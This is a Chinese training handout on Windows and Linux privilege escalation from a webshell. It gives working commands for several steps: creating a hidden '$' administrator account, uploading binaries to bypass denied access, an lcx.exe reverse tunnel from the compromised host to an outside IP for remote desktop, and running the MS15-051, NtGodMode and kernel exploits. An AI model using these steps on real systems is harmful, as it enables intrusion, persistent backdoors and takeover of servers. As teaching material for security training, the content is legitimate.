漏洞篇 提权.md 8.4 KB
Newer Older
W
wizardforcel 已提交
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204
# 米斯特白帽培训讲义 漏洞篇 提权

> 讲师:[gh0stkey](https://www.zhihu.com/people/gh0stkey/answers)

> 整理:[飞龙](https://github.com/)

> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/)

提权,顾名思义就是提高自己在服务器中的权限,就比如在 Windows 中你本身登录的用户是 guest,通过提权后就变成超级管理员,拥有了管理 Windows 的所有权限。提权是黑客的专业名词,一般用于网站入侵和系统入侵。本讲义所讲的是基于 WebShell 的菜刀管理下提权。

![](http://ww3.sinaimg.cn/large/841aea59jw1fb4ccprz1aj20wv093weo.jpg)

## 基本 Dos 命令、常识

+   `whoami`:查看当前用户名,用于查看权限大小。
+   `ipconfig`:显示当前 TCP/IP 配置,用于查看 IP。
+   `net user`:查看当前系统的所有用户。
+   `net user <用户名> <用户密码> /add`:创建用户。
+   `net localgroup administrators <用户名> /add`:将用户加入`administrators`用户组。
+   远程连接默认端口:3389。

下面拿菜刀中的 Shell 演示一遍这几个命令。

首先是`whoami`,可以看到`administrator`,应该是管理员。

![](http://ww2.sinaimg.cn/large/841aea59jw1fb4cctvg5kj20ht0750st.jpg)

然后是`ipconfig`,我们可以看到`192.168.175.129`,这是内网的 IP。

![](http://ww1.sinaimg.cn/large/841aea59jw1fb4ccy6hwjj20dz0ddt96.jpg)

然后是`net user`

![](http://ww4.sinaimg.cn/large/841aea59jw1fb4cd0wn1qj20hd04agll.jpg)

知道这些用户之后,我们需要创建自己的用户`mst`。创建后再执行`net user`,可以看到创建成功:

![](http://ww2.sinaimg.cn/large/841aea59jw1fb4cd3tly5j20hz064mx8.jpg)

接下来我们创建一个名为`mst$`的用户:

![](http://ww4.sinaimg.cn/large/841aea59jw1fb4cd642xxj20h90680st.jpg)

可以看到它并没有显示在用户列表中,之后我们再执行`net user mst$`

![](http://ww2.sinaimg.cn/large/841aea59jw1fb4cd9err5j20az0bpwep.jpg)

它又是确实存在的,这就是隐藏用户的一个小技巧。

之后我们把`mst$`添加到管理员组中,并且查看它的信息,我们发现它成功刚添加到了管理员组中。

![](http://ww3.sinaimg.cn/large/841aea59jw1fb4cdbd37oj20g20dn0t3.jpg)

现在我们查看远程连接的端口,首先执行`tasklist /svc`,寻找`TermService`

![](http://upload-images.jianshu.io/upload_images/118142-7148e693db4563e4.jpg)

我们看到它的 PID 为 1504。之后执行`netstat -ano`

![](http://upload-images.jianshu.io/upload_images/118142-788dc8fc6737406e.jpg)

寻找 PID 为 1504 的一行,可以看到它的端口是 3389。

需要远程连接的时候,输入刚刚创建的用户名和密码就可以了。

## 突破限制

假如说我们在实际情况中看到了`[Err]拒绝访问`

![](http://ww4.sinaimg.cn/large/841aea59jw1fb4cdxua7dj20f005ojre.jpg)

那我们可以找到自己电脑上的`cmd.exe`,然后上传上去。比如上传路径如下:

![](http://ww3.sinaimg.cn/large/841aea59jw1fb4cde71lej20sl0a8759.jpg)

我们就可以执行`setp <路径>\cmd.exe`

![](http://ww3.sinaimg.cn/large/841aea59jw1fb4cdj9462j20iu05r0su.jpg)

我们再来看各种命令:

![](http://ww3.sinaimg.cn/large/841aea59jw1fb4cdmk7agj20rm0f30te.jpg)

![](http://ww2.sinaimg.cn/large/841aea59jw1fb4cdplki6j20df03twef.jpg)

`net user`还是拒绝访问的,我们用老方法,找到自己电脑中的`net.exe`,然后传上去。之后执行`<路径>\net.exe user`

![](http://ww4.sinaimg.cn/large/841aea59jw1fb4cdsd6xgj20hq04174a.jpg)

可以看到突破了限制。

## 端口转发

在提权过程中,我们经常碰到这样的情况:

![](http://ww4.sinaimg.cn/large/841aea59jw1fb56mw6pk7j20d508mwew.jpg)

我们可以看到 WebShell 的主机处于内网下,内网的意思就是说,它能连接别人,但别人不能连接它,就跟连接路由器的个人电脑差不多。

那么这种情况下,我们就需要用到端口转发工具`lcx.exe`,除此之外,还需要一台拥有外网 IP 的主机。这里我们把内网的主机叫做肉鸡,独立 IP 主机叫做本机。

`lcx.exe`上传至本机和肉鸡之后,首先确定本机的 IP 为`119.90.140.191`

![](http://ww3.sinaimg.cn/large/841aea59jw1fb56n00sppj208h020743.jpg)

然后我们在本机执行:

```
lcx.exe -listen 51 3388
```

![](http://ww1.sinaimg.cn/large/841aea59jw1fb56n2ux6ej20gt07kjrv.jpg)

这条命令的意思就是说,监听本机的 51 和 3388 端口,并将两个端口互相转发,端口 51 的入境流量发给端口 3388,反之亦然。其中 51 是用于肉鸡连接的端口。3388 是用于我们的远程连接客户端连接的端口,为了避免与本机的远程连接服务冲突,选择了 3388。大家可以自行选择其他未占用端口。

然后我们在肉鸡上执行:

```
lcx.exe -slave 119.90.140.191 51 127.0.0.1 3389
```

![](http://ww2.sinaimg.cn/large/841aea59jw1fb56n5zhs8j20lo026glh.jpg)

这条命令连接肉鸡的 3389 端口,和本机的 51 端口,并互相转发。

之后,我们在本机或其他主机上使用远程连接客户端,连接`119.90.140.191:3388`,可以看到`lcx`中显示了转发的信息。

![](http://ww1.sinaimg.cn/large/841aea59jw1fb56n8h5txj20gt0a10tg.jpg)

远程连接客户端的封包会发给主机的`lcx`,之后会发给肉鸡的`lcx`,之后会发给肉鸡的远程连接服务。响应封包会按原路返回。

等待一会儿之后,我们成功连接了肉鸡的远程桌面:

![](http://ww1.sinaimg.cn/large/841aea59jw1fb56nbetaaj20j50cjgll.jpg)

## Windows Exp 提权

Exp 提权用于普通方式不好用的时候。

首先我们通过`systeminfo`查看补丁:

![](http://upload-images.jianshu.io/upload_images/118142-db62a3154e7c0d45.jpg)

我们可以看到它安装了`Q147222`

然后我们使用[GetRoot Tools](https://github.com/gh0stkey/GetRoot-Tools)工具,打开它,主界面是这样的:

![](http://upload-images.jianshu.io/upload_images/118142-420f6ca77da5d0fb.jpg)

我们选中上面的 Windows 2003,然后把`[01]: Q147222`复制到上方的输入框中。之后点击`Search`

![](http://upload-images.jianshu.io/upload_images/118142-9b5f1021c8dc0a1a.jpg)

这就是我们可以使用的 Exp。我们随便选择一个,比如`MS15-051`。我们可以在课件中的 MS 提权集(`提权-扩大战果/扩大战果-提权之Exploit提权&上帝之门(Windows).zip -> ms提权集/ms15-051/ms15-051`)中找到它。

我们需要根据系统的版本来选择 Exp,这里系统是 32 位的,我们就应该选择`Win32/32.exe`。上传之后,我们可以使用`dir`命令在目录中看到它:

![](http://upload-images.jianshu.io/upload_images/118142-3f57e43595b04f20.jpg)

它的使用方法是`<exp.exe> "<cmd 命令>"`,例如,我们执行`net user`

![](http://upload-images.jianshu.io/upload_images/118142-1f48ecf494eb4ffb.jpg)

我们可以看到命令执行成功。

## 上帝之门

上帝之门 Exp 用于开启 Windows 的“上帝模式”,即任意账户无密码登录。它需要能上传并且执行 EXE 文件。使用方法为`NtGodMode.exe [ON|OFF]`。我们可以在课件中(`提权-扩大战果/扩大战果-提权之Exploit提权&上帝之门(Windows).zip -> NtGodMode.exe`)找到它。

上传之后,执行`NtGodMode.exe ON`

![](http://upload-images.jianshu.io/upload_images/118142-7ab4611985b296cc.jpg)

然后通过远程连接登录目标主机,将用户名输入为`admin`,密码任意填写。

![](http://upload-images.jianshu.io/upload_images/118142-11fc859cbaab9b5a.jpg)

可以进入目标主机。

![](http://upload-images.jianshu.io/upload_images/118142-32dd69303a92b072.jpg)

注意,必须是输入已有用户名,不存在的用户名是不行的。

## Linux Exp 提权

首先根据`uname -a`查看内核版本,之后根据内核版本找 Exp:

![](http://upload-images.jianshu.io/upload_images/118142-5ee0c8d4aa934af1.png)

之后我们执行以下命令来编译:

```
gcc -pthread exp.c -o exp
```

然后执行`./exp`来执行 Exp。我们一开始的用户可能是`xxx@yyy`,执行之后就变成了`root@yyy`,这样就算提权成功。

## 附录

+   [米斯特白帽子培训第二期视频教程](http://bbs.ichunqiu.com/thread-19368-1-1.html)

+   [Kali Linux 秘籍 第七章 权限提升](http://www.jianshu.com/p/0c26e7eaf226)

+   [CVE-2016-5195 脏牛漏洞](http://m.bobao.360.cn/learning/detail/3123.html)